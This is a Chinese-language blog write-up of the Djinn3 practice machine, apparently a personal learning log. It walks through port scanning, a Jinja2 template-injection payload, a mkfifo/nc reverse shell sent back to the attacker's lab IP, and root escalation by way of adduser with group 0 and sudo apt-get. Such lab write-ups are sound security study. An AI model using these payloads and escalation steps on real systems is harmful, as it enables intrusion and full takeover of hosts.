Djinn3 靶机

Djinn3 靶机

信息收集

1
2
3
4
5
6
7
8
┌──(kali㉿kali)-[~/Documents/djinn3]
└─$ sudo nmap --min-rate 10000 -p- 192.168.1.106

PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
5000/tcp open upnp
31337/tcp open Elite

开放了 22, 80, 5000, 31337 端口,31337 端口比较特别,查了下资料,这个端口和 leetspeak 语法比较密切

This port number means “elite” in hacker/cracker spelling (3=E, 1=L, 7=T) and because of the special meaning is often used for interesting stuff… Many backdoors/trojans run on this port, the most notable being Back Orifice.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
┌──(kali㉿kali)-[~/Documents/djinn3]
└─$ sudo nmap -sT -sV -sC -O -p22,80,5000,31337 192.168.1.106

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 e6:44:23:ac:b2:d9:82:e7:90:58:15:5e:40:23:ed:65 (RSA)
| 256 ae:04:85:6e:cb:10:4f:55:4a:ad:96:9e:f2:ce:18:4f (ECDSA)
|_ 256 f7:08:56:19:97:b5:03:10:18:66:7e:7d:2e:0a:47:42 (ED25519)
80/tcp open http lighttpd 1.4.45
|_http-server-header: lighttpd/1.4.45
|_http-title: Custom-ers
5000/tcp open http Werkzeug httpd 1.0.1 (Python 3.6.9)
|_http-server-header: Werkzeug/1.0.1 Python/3.6.9
|_http-title: Site doesn\'t have a title (text/html; charset=utf-8).
31337/tcp open Elite?
| fingerprint-strings:
| DNSStatusRequestTCP, DNSVersionBindReqTCP, NULL:
| username>
| GenericLines, GetRequest, HTTPOptions, RTSPRequest, SIPOptions:
| username> password> authentication failed
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.8
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

尝试搜索 Werkzeug 1.0.1 是否存在漏洞,不符合此网站结构;Ubuntu 操作系统;31337 端口需要登录名和密码

Web 信息收集

查看默认的 80 端口

查看网页源码未得到隐藏信息,从中得到了几个可能有用的信息

1
2
mzfr.me
PHPLD Templates

再查看 5000 端口,关键词 this ticketing software

依次查看链接得到了以下信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
1       2792    Add authentication to the ticket managment system.      open    link
Currently the ticket management and viewing system is open and doesn't require any kind of authorization. We should add the support for authorization via passwords and also via user API key or token.


2 4567 Remove default user guest from the ticket creation service. open link
Remove all the default user that exists on the ticket creation service as it could be a real hazadous to leave any entry point for unexpected guests. Also I would recommend adding an checks for the complexity of the password.


3 8345 Error while updating postgres queries In progress link
are some issues with the postgres queries and I think that this needs to be addressed ASAP


4 7723 Jack will temporarily handling the risk limit UI open link
As we know umang has resigned, so until we find the replacement Jack will be handling the lead on risk limit UI. RLUI team has to keep Jack about all the development that has been happening.


5 2984 Update the user information In progress link
It's a request to the helpdesk that since lot of people(jason, david, freddy etc) were either fired or resigned. It would be nice if we can remove their accounts and privileges from the system.


6 2973 Complete the honeypot project In progress link
Small reminder, the deadline for the honeypot project is next week, we better finish that ASAP.

这里应该是一个业务反馈系统,包含了一些可能有用的信息

1
2
3
Remove default user guest from the ticket creation service.
username: umang, Jack, jason, david, freddy
accounts and privileges: jason, david, freddy

ASAPASAP 的英文缩写,表示 “尽快,越快越好”(As Soon As Possible)

一开始的思路:使用上述用户名和弱密码尝试爆破 31337 端口。但是爆破手法不知道,而且手动尝试了一下最基础的弱密码,失败。

实在找不到入口点,尝试了对 http://192.168.1.106:5000/?id=3248 进行 sql 注入和 fuzz 的尝试。各个端口都进行了目录爆破,除了 images 目录,没发现新的入口,又尝试了对 images 目录进行了爆破,虽然发现了一些图片,但是并没有发现暴露面和敏感信息。还尝试了模板注入,没反应(而且不理解原理)

看了 WP 发现用户名和密码是 guest,对于 Remove default user guest from the ticket creation service. 这句话暴露的信息敏感度不足,还是要提升自己的意识

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
┌──(kali㉿kali)-[~/Documents/djinn3]
└─$ nc 192.168.1.106 31337
username> guest
password> guest

Welcome to our own ticketing system. This application is still under
development so if you find any issue please report it to mail@mzfr.me

Enter "help" to get the list of available commands.

> help

help Show this menu
update Update the ticketing software
open Open a new ticket
close Close an existing ticket
exit Exit

有些基础的命令,试着运行这几个命令,发现 update 权限不足,open 可以创建新的条目项。

尝试在 Description 中放入反弹 shell 的代码,访问并没利用成功,应该是因为没有经过 PHP 解析

SSTI 模板注入

在这里也卡了很久,看了 WP 发现是模板注入,确实缺乏对这个漏洞的意识,需要了解和复现一些常见的模板注入漏洞。写了一篇基础的模板注入漏洞的理解向的总结[[../technique/web/SSTI 模板注入|SSTI 模板注入]]

这里先使用简单的数学表达式来作为测试用例

1
2
3
> open
Title: testet
Description: {{1338-1}}

查看网页发现得到了计算结果,应该是存在模板注入的

我们要通过下图的尝试来判断是什么模板

依次尝试,得判断出可能是 jinja2 或者 Twing

根据之前 nmap 的结果,搜索 Werkzeug SSTI

得到的结果大都是 jinja2 ,先尝试 jinja2 吧

由于这次模板注入的点需要反复使用命令行操作,所以优先使用不需要查找下属模块是否存在的 exp

寻找 exp 主要参考了 Jinja2 SSTI - HackTricksPayloadsAllTheThings/Server Side Template Injection/README.md at master · swisskyrepo/PayloadsAllTheThings (github.com) 尝试添加:

1
2
3
> open
Title: test1
Description: {% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("ls").read()}}{%endif%}{% endfor %}

利用成功,改成反弹 shell 的命令

1
2
3
> open
Title: test2
Description: {% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 192.168.1.101 444 >/tmp/f").read()}}{%endif%}{% endfor %}

反弹成功

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
┌──(kali㉿kali)-[~/Documents/djinn3]
└─$ sudo nc -lvnp 444
[sudo] password for kali:
listening on [any] 444 ...
connect to [192.168.1.101] from (UNKNOWN) [192.168.1.106] 47944
bash: cannot set terminal process group (566): Inappropriate ioctl for device
bash: no job control in this shell
www-data@djinn3:/opt/.web$ whoami
whoami
www-data
www-data@djinn3:/opt/.web$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@djinn3:/opt/.web$ ip a
ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
link/ether 08:00:27:34:39:41 brd ff:ff:ff:ff:ff:ff
inet 192.168.1.106/24 brd 192.168.1.255 scope global dynamic eth0
valid_lft 452sec preferred_lft 452sec
inet6 fe80::a00:27ff:fe34:3941/64 scope link
valid_lft forever preferred_lft forever
www-data@djinn3:/opt/.web$ uname -a
uname -a
Linux djinn3 4.15.0-101-generic #102-Ubuntu SMP Mon May 11 10:07:26 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
www-data@djinn3:/opt/.web$ python -c "import pty;pty.spawn('/bin/bash')"
python -c "import pty;pty.spawn('/bin/bash')"
www-data@djinn3:/opt/.web$ sudo -l
sudo -l
[sudo] password for www-data:

提权

信息收集

查看当前目录下的文件

1
2
3
4
5
6
7
8
9
www-data@djinn3:/opt/.web$ ls -liah
ls -liah
total 24K
277262 drwxr-xr-x 4 www-data www-data 4.0K Jun 4 2020 .
524412 drwxr-xr-x 4 root root 4.0K Jun 4 2020 ..
262163 -rw-r--r-- 1 www-data www-data 2.2K Oct 25 08:05 data.json
277263 drwxr-xr-x 4 www-data www-data 4.0K May 10 2020 static
294974 drwxr-xr-x 2 www-data www-data 4.0K May 17 2020 templates
262350 -rwxr-xr-x 1 www-data www-data 1.4K May 17 2020 webapp.py

此目录中在 webapp.py 中看到了 app.secret_key = "hackthedamnplanet" 尝试了密码重用,切换登录失败

这个目录有点奇怪,去上一层目录看看

1
2
3
4
5
6
7
8
9
www-data@djinn3:/opt$ ls -liha
ls -liha
total 24K
524412 drwxr-xr-x 4 root root 4.0K Jun 4 2020 .
2 drwxr-xr-x 23 root root 4.0K Jun 1 2020 ..
556546 -rwxr-xr-x 1 saint saint 1.4K Jun 4 2020 .configuration.cpython-38.pyc
556547 -rwxr-xr-x 1 saint saint 661 Jun 4 2020 .syncer.cpython-38.pyc
140 drwxr-xr-x 2 www-data www-data 4.0K May 17 2020 .tick-serv
277262 drwxr-xr-x 4 www-data www-data 4.0K Jun 4 2020 .web

发现了两个 pyc 文件和 .tick-serv 目录,其中 .tick-serv 目录中的代码时 31337 端口的运行程序。

1
2
3
4
5
6
7
8
9
10
11
12
www-data@djinn3:/opt/.tick-serv$ ls -liha
ls -liha
total 16K
140 drwxr-xr-x 2 www-data www-data 4.0K May 17 2020 .
524412 drwxr-xr-x 4 root root 4.0K Jun 4 2020 ..
411 -rw-r--r-- 1 root root 2.8K May 17 2020 tickets.py
449 -rwxr-xr-x 1 www-data www-data 48 May 17 2020 tickets.sh
www-data@djinn3:/opt/.tick-serv$ cat tickets.sh
cat tickets.sh
#!/bin/bash

python3 /opt/.tick-serv/tickets.py

不知道 tickets.sh 是开机被定时执行的还是说有别的驻留程序,使用 pspy 看看。发现了两个定时运行的程序

1
2
/usr/bin/python3 /home/saint/.sync-data/syncer.py
/bin/sh -c /usr/bin/python3 /home/saint/.sync-data/syncer.py

从文件名看 .syncer.cpython-38.pyc,似乎和这两个定时运行的程序有关系,

反编译获取信息

反编译一下,关于 python 的反编译似乎 IDA 无能为力

找了个在线网站在线pyc,pyo,python,py文件反编译,目前支持python1.5到3.6版本的反编译-在线工具 (bugscaner.com)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
# -*- coding: utf8 -*-
#! /usr/bin/env 3.8.0 (3413)
#coding=utf-8
#.configuration.cpython-38.pyc
#source path: configuration.py
#Compiled at: 2020-06-04 14:49:49

import os, sys, json
from glob import glob
from datetime import datetime as dt

class ConfigReader:
config = None

@staticmethod
def read_config(path):
"""Reads the config file
"""
config_values = {}
try:
with open(path, 'r') as (f):
config_values = json.load(f)
except Exception as e:
try:
print("Couldn't properly parse the config file. Please use properl")
sys.exit(1)
finally:
e = None
del e

else:
return config_values

@staticmethod
def set_config_path():
"""Set the config path
"""
files = glob('/home/saint/*.json')
other_files = glob('/tmp/*.json')
files = files + other_files
try:
if len(files) > 2:
files = files[:2]
else:
file1 = os.path.basename(files[0]).split('.')
file2 = os.path.basename(files[1]).split('.')
if file1[-2] == 'config':
if file2[-2] == 'config':
a = dt.strptime(file1[0], '%d-%m-%Y')
b = dt.strptime(file2[0], '%d-%m-%Y')
if b < a:
filename = files[0]
else:
filename = files[1]
except Exception:
sys.exit(1)
else:
return filename

我们需要理解一下反编译后的代码,其中只有一个 ConfigReader 类,类中包含两个静态方法 set_config_pathread_config

set_config_path 中检查了 /home/saint//tmp/ 目录下的 .json 后缀的文件,但是此类文件的数量如果大于 2,会截断,只保留两个文件路径。接下来对文件路径进行判断,如果两个文件名中 .json 前都是 .config ,那么就对 .config 前的时间进行大小比较,较新的文件名会被返回。

read_config 用于读取配置文件,按照 json 格式解析文件内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
# -*- coding: utf8 -*-
#! /usr/bin/env 3.8.0 (3413)
#coding=utf-8
#.syncer.cpython-38.pyc
#source path: syncer.py
#Compiled at: 2020-06-01 11:32:59

from configuration import *
from connectors.ftpconn import *
from connectors.sshconn import *
from connectors.utils import *

def main():
"""Main function
Cron job is going to make my work easy peasy
"""
configPath = ConfigReader.set_config_path()
config = ConfigReader.read_config(configPath)
connections = checker(config)
if 'FTP' in connections:
ftpcon(config['FTP'])
else:
if 'SSH' in connections:
sshcon(config['SSH'])
else:
if 'URL' in connections:
sync(config['URL'], config['Output'])

if __name__ == '__main__':
main()

.syncer.cpython-38.pyc 反汇编后的代码是对 .configuration.cpython-38.pyc 的方法进行调用,按 json 格式读取文件后,根据配置文件中的键值来进行判断,从而执行不同的操作

写入 ssh 公钥

此处需要一点猜测,sync 是同步的意思,而这里将配置文件中的 URL 和 Output 进行了读取,大概率是远程下载文件后,输出到 Output 中指定的目录。这里我们或许可以尝试将 ssh 公钥放入用户家目录下的 .ssh 目录中,从而实现远程登录

根据之前 pspy 收集到的定时任务的信息,定时任务是由 saint 用户执行的,那我们的目标就是写入到 saint 用户家目录中。在这之前我们需要本地生成公私钥对

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
┌──(kali㉿kali)-[~/Documents/djinn3]
└─$ ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/home/kali/.ssh/id_rsa): /home/kali/Documents/djinn3/saint
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /home/kali/Documents/djinn3/saint
Your public key has been saved in /home/kali/Documents/djinn3/saint.pub
The key fingerprint is:
SHA256:wGb18AaCNifFFn7lsk/NRrJIs5ZIIFLmffQoY4M2wjg kali@kali
The key's randomart image is:
+---[RSA 3072]----+
|..+ .+=.+ . |
|o+ +==+= B |
|E.=.*=X * * . |
| + o O = O * |
| . S o + |
| . o . |
| . |
| |
| |
+----[SHA256]-----+

接下来我们需要修改公钥的文件名为 authorized_keys 详细的过程可以看看无密码Linux主机利用公钥直接连接 | Zeo’s Security Lab

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
┌──(kali㉿kali)-[~/Documents/djinn3]
└─$ ssh -i saint saint@192.168.1.106
Last login: Mon Jun 1 22:04:51 2020 from 192.168.1.107
saint@djinn3:~$ sudo -l
Matching Defaults entries for saint on djinn3:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User saint may run the following commands on djinn3:
(root) NOPASSWD: /usr/sbin/adduser, !/usr/sbin/adduser * sudo, !/usr/sbin/adduser * admin
saint@djinn3:~$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
link/ether 08:00:27:34:39:41 brd ff:ff:ff:ff:ff:ff
inet 192.168.1.106/24 brd 192.168.1.255 scope global dynamic eth0
valid_lft 539sec preferred_lft 539sec
inet6 fe80::a00:27ff:fe34:3941/64 scope link
valid_lft forever preferred_lft forever
saint@djinn3:~$ uname -a
Linux djinn3 4.15.0-101-generic #102-Ubuntu SMP Mon May 11 10:07:26 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
saint@djinn3:~$ id
uid=1000(saint) gid=1002(saint) groups=1002(saint)

adduser

sudo -l 发现了特殊的权限,但是限制了不允许在 adduser 后面添加 root 和 admin,看看 -h 有什么别的可利用的点

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
saint@djinn3:~$ sudo /usr/sbin/adduser -h
adduser [--home DIR] [--shell SHELL] [--no-create-home] [--uid ID]
[--firstuid ID] [--lastuid ID] [--gecos GECOS] [--ingroup GROUP | --gid ID]
[--disabled-password] [--disabled-login] [--add_extra_groups]
[--encrypt-home] USER
Add a normal user

adduser --system [--home DIR] [--shell SHELL] [--no-create-home] [--uid ID]
[--gecos GECOS] [--group | --ingroup GROUP | --gid ID] [--disabled-password]
[--disabled-login] [--add_extra_groups] USER
Add a system user

adduser --group [--gid ID] GROUP
addgroup [--gid ID] GROUP
Add a user group

addgroup --system [--gid ID] GROUP
Add a system group

adduser USER GROUP
Add an existing user to an existing group

general options:
--quiet | -q don't give process information to stdout
--force-badname allow usernames which do not match the
NAME_REGEX[_SYSTEM] configuration variable
--extrausers uses extra users as the database
--help | -h usage message
--version | -v version number and copyright
--conf | -c FILE use FILE as configuration file

尝试了直接创建一个 uid 为 0 的用户,失败。那考虑 guid 等于 0 呢?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
saint@djinn3:~$ sudo /usr/sbin/adduser --gid 0 wh0am1
Adding user `wh0am1' ...
Adding new user `wh0am1' (1003) with group `root' ...
Creating home directory `/home/wh0am1' ...
Copying files from `/etc/skel' ...
Enter new UNIX password:
Retype new UNIX password:
passwd: password updated successfully
Changing the user information for wh0am1
Enter the new value, or press ENTER for the default
Full Name []:
Room Number []:
Work Phone []:
Home Phone []:
Other []:
Is the information correct? [Y/n]

切换用户

1
2
3
4
5
saint@djinn3:~$ su wh0am1
Password:
wh0am1@djinn3:/home/saint$ sudo -l
[sudo] password for wh0am1:
Sorry, user wh0am1 may not run sudo on djinn3.

linpeas.sh 收集到一条特别高亮的信息,jason 用户可使用 sudo 命令并输入密码来提高权限使用 /usr/bin/apt-get 命令

1
2
3
4
5
6
7
8
wh0am1@djinn3:/tmp$ ls -alih /home
total 24K
393218 drwxr-xr-x 6 root root 4.0K Oct 25 17:27 .
2 drwxr-xr-x 23 root root 4.0K Jun 1 2020 ..
393715 drwxr-x--- 2 jack jack 4.0K Jun 4 2020 jack
394234 drwxr-x--- 2 mzfr mzfr 4.0K May 17 2020 mzfr
405476 drwxr-x--- 7 saint saint 4.0K Jun 4 2020 saint
393770 drwxr-xr-x 4 wh0am1 root 4.0K Oct 25 17:37 wh0am1

新建 jason 用户

jason 用户不存在,那就可以来尝试新建这样一个用户

1
2
3
4
5
6
7
8
9
10
11
saint@djinn3:~$ sudo /usr/sbin/adduser --gid 0 jason
saint@djinn3:~$ su jason
Password:
jason@djinn3:/home/saint$ sudo -l
[sudo] password for jason:
Matching Defaults entries for jason on djinn3:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User jason may run the following commands on djinn3:
(root) PASSWD: /usr/bin/apt-get

sudo apt-get 提权

查找 gtfobins 找到了几种手法

尝试使用 a 失败,尝试使用 c 成功

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
jason@djinn3:/home/saint$ sudo apt-get update -o APT::Update::Pre-Invoke::=/bin/sh
# id
uid=0(root) gid=0(root) groups=0(root)
# cd /root
# ls
proof.sh
# ./proof.sh
_ _ _ _ _
/ \ _ __ ___ __ _ ___(_)_ __ __ _| | | |
/ _ \ | '_ ` _ \ / _` |_ / | '_ \ / _` | | | |
/ ___ \| | | | | | (_| |/ /| | | | | (_| |_|_|_|
/_/ \_\_| |_| |_|\__,_/___|_|_| |_|\__, (_|_|_)
|___/
djinn-3 pwned...
__________________________________________________________________________

Proof: VGhhbmsgeW91IGZvciB0cnlpbmcgZGppbm4zID0K
Path: /root
Date: Wed Oct 25 17:46:03 IST 2023
Whoami: root
__________________________________________________________________________

By @0xmzfr

Special thanks to @DCAU7 for his help on Privilege escalation process
And also Thanks to my fellow teammates in @m0tl3ycr3w for betatesting! :-)

If you enjoyed this then consider donating (https://blog.mzfr.me/support/)
so I can continue to make these kind of challenges.

成功

总结

这台靶机最大的收获是关于模板注入的内容,趁着这次机会彻底了解了模板注入的基础,并总结了笔记。再一个,对于一些内容的敏感度是不足的,比如这里的 guest ,我完全没有意识到可能是用户名和密码,以及关于 pyc 文件反编译后的代码,这部分的代码读起来不够有耐心,没构建起关于这方面的攻击思路。


Djinn3 靶机
https://i3eg1nner.github.io/2023/10/02e466a6bb9b.html
作者
I3eg1nner
发布于
2023年10月21日
许可协议